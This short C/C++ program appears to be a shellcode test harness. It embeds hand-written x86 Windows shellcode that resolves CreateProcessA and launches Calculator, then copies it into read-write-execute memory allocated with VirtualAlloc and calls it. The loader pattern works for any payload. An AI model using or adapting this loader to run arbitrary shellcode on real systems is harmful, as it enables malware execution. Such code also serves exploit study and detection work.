#include <stdio.h>
#include <windows.h>

using namespace std;

int main()
{

    char* shellcode =
        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
        "\x45\x81\x3e\x43\x72\x65\x61\x75"
        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
        "\x6c\x63\x89\xe2\x52\x52\x53\x53"
        "\x53\x53\x53\x53\x52\x53\xff\xd7";

    printf("shellcode length: %i", strlen(shellcode));

    LPVOID lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAlloc, shellcode, strlen(shellcode));

    ((void(*)())lpAlloc)();

    return 0;
}